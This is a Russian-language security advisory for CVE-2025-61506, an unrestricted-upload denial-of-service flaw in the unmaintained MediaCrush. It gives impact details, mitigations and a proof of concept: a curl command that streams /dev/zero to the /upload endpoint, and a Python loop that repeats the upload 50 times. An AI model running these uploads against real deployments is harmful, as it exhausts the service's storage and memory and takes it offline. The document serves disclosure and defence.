pescada-dev/cve-2025-61506Обнаружена уязвимость типа «неограниченная загрузка файлов», приводящая к отказу в обслуживании (DoS), в MediaCrush до версии 1.0.1 включительно (CVE-2025-61506)
В MediaCrush вплоть до версии 1.0.1 была обнаружена проблема, позволяющая удалённым неаутентифицированным злоумышленникам загружать произвольные файлы любого размера в конечную точку /upload. Уязвимость: неограниченная загрузка файлов (CWE-434) CVE ID: CVE-2025-61506 ОБНАРУЖЕНО : 18 сентября НАЗНАЧЕНО : 9 октября Затронутый компонент: mediacrush/upload.py, app.py (конечная точка загрузки Flask) Затронутые версии: все версии (последний коммит 8f4b2a3f, около 2014 года) Воздействие: отказ в обслуживании (DoS) Серьёзность: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Конечная точка /upload в MediaCrush (mediacrush/upload.py) позволяет неаутентифицированным злоумышленникам загружать произвольно большие файлы без ограничений размера, проверки MIME-типа или ограничения скорости запросов. Это приводит к отказу в обслуживании из-за истощения дискового хранилища (по умолчанию ./storage), перегрузки Redis и воркеров Celery и сбоя приложения. Уязвимость затрагивает все экземпляры MediaCrush (локальные или сетевые) из-за отсутствия проверки входных данных в обработчике загрузки на базе Flask. Поскольку проект не поддерживается (последнее обновление — 2014 год), исправления не существует.
Настройте локальный экземпляр MediaCrush (согласно README: Python 2.7, Flask 0.10.1, Redis, Celery).
Запустите приложение (python app.py) и воркер Celery (celery worker -A mediacrush -Q celery,priority).
Выполните следующую команду для загрузки большого файла:
curl -F "file=@/dev/zero" http://localhost:5000/upload
Или используйте Python-скрипт для множественной загрузки:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
Результат: дисковое хранилище (например, /tmp/storage) заполняется, воркеры Celery падают из-за нехватки памяти (OOM), а новые загрузки завершаются ошибкой (HTTP 500/413). Потребление памяти Redis резко возрастает.
Отказ в обслуживании: заполняет диск, вызывает сбой приложения, препятствует новым загрузкам или раздаче медиа.
Злоупотребление хранилищем: злоумышленники могут использовать MediaCrush как бесплатное безлимитное хранилище для вредоносных файлов (например, пиратского контента).
Облачные расходы: если storage_folder привязан к облаку (например, AWS S3), это приводит к значительным счетам.
Затрагивает любые самостоятельно размещённые развёртывания MediaCrush вплоть до версии 1.0.1.
Установите серверные ограничения на размер загрузки с помощью конфигурации MAX_CONTENT_LENGTH во Flask и директив client_max_body_size веб-сервера (например, nginx). Внедрите надлежащую проверку файлов и ограничение скорости запросов, чтобы предотвратить истощение ресурсов.
Поскольку проект больше не поддерживается, пользователям следует сделать форк и исправить уязвимость или отказаться от развёртывания.
Репозиторий MediaCrush: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
Обнаружено в ходе аудита проектов с открытым исходным кодом в рамках программы bug bounty.
Ранее для MediaCrush CVE не обнаружено (проверены NVD и уведомления GitHub).
Проект не поддерживается; ответа вендора не ожидается ([email protected], IRC #mediacrush неактивен).
